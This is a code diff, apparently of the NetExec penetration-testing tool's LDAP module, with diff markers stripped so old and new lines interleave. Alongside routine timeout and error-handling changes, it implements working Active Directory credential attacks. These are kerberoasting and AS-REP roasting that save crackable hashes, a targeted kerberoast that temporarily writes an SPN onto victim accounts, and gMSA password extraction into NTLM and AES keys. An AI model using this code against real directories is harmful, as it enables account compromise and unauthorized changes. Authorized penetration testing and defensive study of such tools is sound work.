from dateutil.relativedelta import relativedelta as rd
from Cryptodome.Hash import MD4
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
@@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import (
SAM_MACHINE_ACCOUNT,
)
from impacket.krb5 import constants
from impacket.krb5.crypto import generate_kerberos_keys
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -108,7 +108,7 @@ class ldap(connection):
ldap_url = f"{proto}://{self.host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, timeout=self.args.ldap_timeout)
if self.ldap_connection:
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
except SysCallError as e:
@@ -123,7 +123,7 @@ class ldap(connection):
self.logger.debug(f"{e} on host {self.host}")
return False
except OSError as e:
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT):
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT) or "timed out" in str(e):
self.logger.info(f"Error connecting to {self.host}: {e}")
return False
else:
@@ -147,11 +147,12 @@ class ldap(connection):
return ""
def check_ldap_signing(self):
self.signing_required = False
self.signing_required = None
ldap_url = f"ldap://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False)
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
ldap_connection.login(domain=self.domain)
self.signing_required = False
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
@@ -159,12 +160,14 @@ class ldap(connection):
self.signing_required = True
else:
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
except OSError as e:
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
def check_ldaps_cbt(self):
self.cbt_status = "Never"
ldap_url = f"ldaps://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
ldap_connection.channel_binding_value = None
ldap_connection.login(user=" ", domain=self.domain)
except ldap_impacket.LDAPSessionError as e:
@@ -173,7 +176,7 @@ class ldap(connection):
self.cbt_status = "Always" # CBT is Required
# Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported
elif str(e).find("data 52e") >= 0:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
new_cbv = bytearray(ldap_connection.channel_binding_value)
new_cbv[15] = (new_cbv[3] + 1) % 256
ldap_connection.channel_binding_value = bytes(new_cbv)
@@ -185,12 +188,17 @@ class ldap(connection):
self.cbt_status = "When Supported" # CBT is When Supported
else:
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
self.cbt_status = "Unknown"
except SysCallError as e:
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
self.cbt_status = "No TLS cert"
else:
raise
except OSError as e:
# Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc.
self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}")
self.cbt_status = "Unknown"
def enum_host_info(self):
# Enumerate LDAP info
@@ -279,7 +287,12 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
if self.signing_required is True:
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
elif self.signing_required is False:
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
else:
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
@@ -331,7 +344,7 @@ class ldap(connection):
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -360,7 +373,7 @@ class ldap(connection):
color="yellow",
)
# If no preauth is set, we want to be able to execute commands such as --kerberoasting
if self.args.no_preauth_targets: # noqa: SIM103
if self.args.no_preauth_targets: # ruff: ignore[needless-bool]
return True
else:
return False
@@ -390,7 +403,7 @@ class ldap(connection):
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -454,7 +467,7 @@ class ldap(connection):
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -483,7 +496,7 @@ class ldap(connection):
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -550,7 +563,7 @@ class ldap(connection):
proto = "ldaps" if self.port == 636 else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
@@ -576,7 +589,7 @@ class ldap(connection):
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
@@ -626,6 +639,7 @@ class ldap(connection):
search_filter = (f"(|(objectSid={self.sid_domain}-512)"
f"(objectSid={self.sid_domain}-519)"
f"(objectSid={self.sid_domain}-544)"
"(objectSid=S-1-5-32-544)"
"(objectSid=S-1-5-32-549)"
"(objectSid=S-1-5-32-551))")
attributes = ["distinguishedName"]
@@ -648,6 +662,10 @@ class ldap(connection):
for item in resp_parsed:
if item:
self.admin_privs = True
return
# If nothing matched we are not admin
self.admin_privs = False
def getUnixTime(self, t):
t -= 116444736000000000
@@ -735,12 +753,12 @@ class ldap(connection):
self.users()
def groups(self):
# Building the search filter
# Group specific member search
if self.args.groups:
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid)
group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"])
# Resolve group DN and primaryGroupID (objectSid) and member attribute
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
@@ -748,28 +766,63 @@ class ldap(connection):
return
else:
group = group_parsed[0]
direct_group_members = group.get("member", [])
if not isinstance(direct_group_members, list):
direct_group_members = [direct_group_members]
# Search filter: user must have membership OR primaryGroupID
# Get all group members: user must have membership OR primaryGroupID
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
resp = self.search(search_filter, attributes)
group_members = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(group_members)}")
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
# Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
if len(group_members) < len(direct_group_members):
for member_dn in direct_group_members:
member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
member_parsed = parse_result_attributes(member_resp)
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
if member_parsed:
group_members.append(member_parsed[0])
else:
self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
group_members.append({"distinguishedName": member_dn})
# Deduplicate group members by distinguishedName or cn
deduped = {}
for item in group_members:
key = item.get("distinguishedName", item.get("cn", "")).lower()
deduped.setdefault(key, item)
resp_parsed = list(deduped.values())
if self.args.groups:
# Display group members
if not resp_parsed:
self.logger.fail(f"Group '{self.args.groups}' has no members")
else:
for item in resp_parsed:
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"])
# Display cn if it is a group
# Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
# If nothing is present, display Distinguished Name
if "group" in item.get("objectClass", []):
out = item["cn"]
elif "sAMAccountName" in item:
out = item["sAMAccountName"]
elif "cn" in item:
out = item["cn"]
else:
out = item["distinguishedName"]
self.logger.highlight(out)
# List all groups
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
for item in resp_parsed:
@@ -782,6 +835,52 @@ class ldap(connection):
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
def ous(self):
if self.args.ous:
# Find the OU's distinguished name first
self.logger.debug(f"Dumping users from OU: {self.args.ous}")
ou_resp = self.search(
f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))",
["distinguishedName"],
)
ou_parsed = parse_result_attributes(ou_resp)
if not ou_parsed:
self.logger.fail(f"OU '{self.args.ous}' not found")
return
self.logger.debug(f"Found OU DN: {ou_parsed[0]['distinguishedName']}")
# Search for users scoped to that OU
resp = self.search(
"(&(objectCategory=person)(objectClass=user))",
["sAMAccountName", "cn"],
baseDN=ou_parsed[0]["distinguishedName"],
)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned: {len(resp_parsed)}")
if not resp_parsed:
self.logger.fail(f"OU '{self.args.ous}' has no users")
return
self.logger.highlight(f"{'-sAMAccountName-':<30} -cn-")
for user in resp_parsed:
self.logger.highlight(f"{user.get('sAMAccountName'):<30} {user.get('cn', '')}")
else:
# List all OUs
self.logger.debug("Dumping all organizational units")
resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"])
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned: {len(resp_parsed)}")
self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-")
for ou in resp_parsed:
try:
self.logger.highlight(f"{ou['ou']:<40} {ou['distinguishedName']}")
except Exception as e:
self.logger.debug(f"Exception: {e}", exc_info=True)
def computers(self):
resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"])
resp_parsed = parse_result_attributes(resp)
@@ -965,57 +1064,15 @@ class ldap(connection):
def kerberoasting(self):
if self.args.no_preauth_targets:
usernames = []
for item in self.args.no_preauth_targets:
if os.path.isfile(item):
with open(item, encoding="utf-8") as f:
usernames.extend(line.strip() for line in f if line.strip())
else:
usernames.append(item.strip())
skipped = []
hashes = []
for spn in usernames:
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
skipped.append(base_name)
continue
if not self.username:
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
return
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
if hashline:
hashes.append(hashline)
if skipped:
self.logger.display(f"Skipping account: {', '.join(skipped)}")
if hashes:
self.logger.display(f"Total of records returned {len(hashes)}")
else:
self.logger.highlight("No entries found!")
for line in hashes:
self.logger.highlight(line)
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
f.write(line + "\n")
self.roast_no_preauth()
return
if self.args.kerberoast_account:
target_accounts = []
for item in self.args.kerberoast_account:
if os.path.isfile(item):
try:
with open(item, encoding="utf-8") as f:
target_accounts.extend(line.strip() for line in f if line.strip())
except Exception as e:
self.logger.fail(f"Failed to read file '{item}': {e}")
else:
target_accounts.append(item.strip())
if self.args.targeted_kerberoast:
target_users = parse_argument(self.args.targeted_kerberoast)
user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
elif self.args.kerberoast_account:
target_accounts = parse_argument(self.args.kerberoast_account)
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
# build search filter for specific users
@@ -1033,8 +1090,10 @@ class ldap(connection):
"pwdLastSet",
"lastLogon",
"objectClass",
"distinguishedName",
]
resp = self.search(searchFilter, attributes, 0)
resp = self.search(searchFilter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Search Filter: {searchFilter}")
self.logger.debug(f"Attributes: {attributes}")
@@ -1042,26 +1101,44 @@ class ldap(connection):
if not resp_parsed:
self.logger.highlight("No entries found!")
else:
# Filter disabled accounts
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
for account in disabled_accounts:
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
return
# Get all enabled accounts
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
# Filter disabled and invalid accounts
disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
for account in disabled_accounts:
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
if self.args.targeted_kerberoast:
self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
else:
self.logger.display(f"Total of records returned {len(enabled):d}")
for user in enabled:
# Perform Kerberos Attack
for user in enabled:
spn_added = False
if self.args.targeted_kerberoast:
try:
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]})
self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}")
spn_added = True
except ldap_impacket.LDAPSessionError as e:
if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e):
self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute")
else:
self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}")
self.logger.debug("Traceback", exc_info=True)
continue
try:
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
self.logger.debug(f"TGT: {TGT}")
if TGT:
downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
@@ -1076,22 +1153,61 @@ class ldap(connection):
oldSessionKey,
sessionKey,
user["sAMAccountName"],
downLevelLogonName,
f"{self.targetDomain}\\{user['sAMAccountName']}",
is_computer="computer" in user.get("objectClass", [])
)
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
lastLogon = "<never>" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
self.logger.highlight(f"{out}")
self.logger.highlight(out)
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(out + "\n")
except Exception as e:
self.logger.debug(f"Exception: {e}", exc_info=True)
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}")
else:
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
finally:
if spn_added:
try:
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]})
self.logger.debug(f"SPN removed for {user['sAMAccountName']}")
except Exception as cleanup_error:
self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}")
def roast_no_preauth(self):
usernames = parse_argument(self.args.no_preauth_targets)
skipped = []
hashes = []
for spn in usernames:
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
skipped.append(base_name)
continue
if not self.username:
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
return
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
if hashline:
hashes.append(hashline)
if skipped:
self.logger.display(f"Skipping account: {', '.join(skipped)}")
if hashes:
self.logger.display(f"Total of records returned {len(hashes)}")
else:
self.logger.highlight("No entries found!")
for line in hashes:
self.logger.highlight(line)
with open(self.args.kerberoasting, "a+") as f:
f.write(line + "\n")
def query(self):
"""
@@ -1130,7 +1246,7 @@ class ldap(connection):
def printTable(items, header):
colLen = []
# Calculating maximum lenght before parsing CN.
# Calculating maximum length before parsing CN.
for i, col in enumerate(header):
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
colLen.append(max(rowMaxLen, len(col)))
@@ -1308,16 +1424,26 @@ class ldap(connection):
principal_with_read = resp_parsed[0]["sAMAccountName"]
# Get the password
passwd = "<no read permissions>"
rc4 = "<no read permissions>"
aes128 = aes256 = ""
if "msDS-ManagedPassword" in acc:
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(acc["msDS-ManagedPassword"])
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
return True
rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"])
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
if aes128 and aes256:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}")
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}")
def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str):
"""Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username."""
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(password_data)
current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode()
keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain)
rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode()
aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode()
aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode()
return rc4, aes128, aes256
def decipher_gmsa_name(self, domain_name=None, account_name=None):
# https://aadinternals.com/post/gmsa/
@@ -1334,60 +1460,50 @@ class ldap(connection):
return str_hash
def gmsa_convert_id(self):
if self.args.gmsa_convert_id:
if len(self.args.gmsa_convert_id) != 64:
self.logger.fail("Length of the gmsa id not correct :'(")
else:
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
break
if len(self.args.gmsa_convert_id) != 64:
self.logger.fail("Length of the gmsa id not correct :'(")
else:
self.logger.fail("No string provided :'(")
# getting the gmsa account
gmsa_accounts = self.search(
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
attributes=["sAMAccountName"],
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
break
def gmsa_decrypt_lsa(self):
if self.args.gmsa_decrypt_lsa:
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
# getting the gmsa account
gmsa_accounts = self.search(
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
attributes=["sAMAccountName"],
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
sAMAccountName = ""
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
gmsa_id = acc["sAMAccountName"]
break
# convert to ntlm
data = bytes.fromhex(gmsa_pass)
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id:
sAMAccountName = acc["sAMAccountName"]
break
# Compute the password and keys
data = bytes.fromhex(gmsa_pass)
rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName)
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}")
if not sAMAccountName:
self.logger.fail("Could not find the GMSA account associated with the provided ID.")
else:
self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}")
self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}")
else:
self.logger.fail("No string provided :'(")
self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.")
def pso(self):
"""
@@ -1616,10 +1732,11 @@ class ldap(connection):
aeskey=self.aesKey,
kdc=self.kdcHost,
auth_method="auto",
ldap_channel_binding=self.cbt_status == "Always"
)
ad = AD(
auth=auth,
domain=self.domain,
domain=self.targetDomain,
nameserver=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout,
@@ -1627,7 +1744,7 @@ class ldap(connection):
self.logger.debug("Using DNS to retrieve domain information")
try:
ad.dns_resolve(domain=self.domain)
ad.dns_resolve(domain=self.targetDomain)
except (resolver.LifetimeTimeout, resolver.NoNameservers):
self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.")
return
@@ -1654,9 +1771,13 @@ class ldap(connection):
exclude_dcs=False,
)
except Exception as e:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
if "ldap3-bleeding-edge" in str(e):
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
return
else:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
# Collect ADCS data using CertiHound if requested
if "adcs" in collect:
@@ -1690,13 +1811,13 @@ class ldap(connection):
# Create CertiHound adapter and collector
adapter = ImpacketLDAPAdapter(
search_func=self.search,
domain=self.domain,
domain=self.targetDomain,
domain_sid=self.sid_domain,
)
collector = ADCSCollector.from_external(
ldap_connection=adapter,
domain=self.domain,
domain=self.targetDomain,
domain_sid=self.sid_domain,
)
data = collector.collect_all()
+1 -1
View File
@@ -167,7 +167,7 @@ class KerberosAttacks:
if e.errno == 113:
self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
else:
self.logger.fail(f"Some other OSError occured: {e!s}")
self.logger.fail(f"Some other OSError occurred: {e!s}")
return None
except Exception as e:
self.logger.debug(f"TGT: {e!s}")
+8 -4
View File
@@ -8,16 +8,19 @@ def proto_args(parser, parents):
dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)")
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
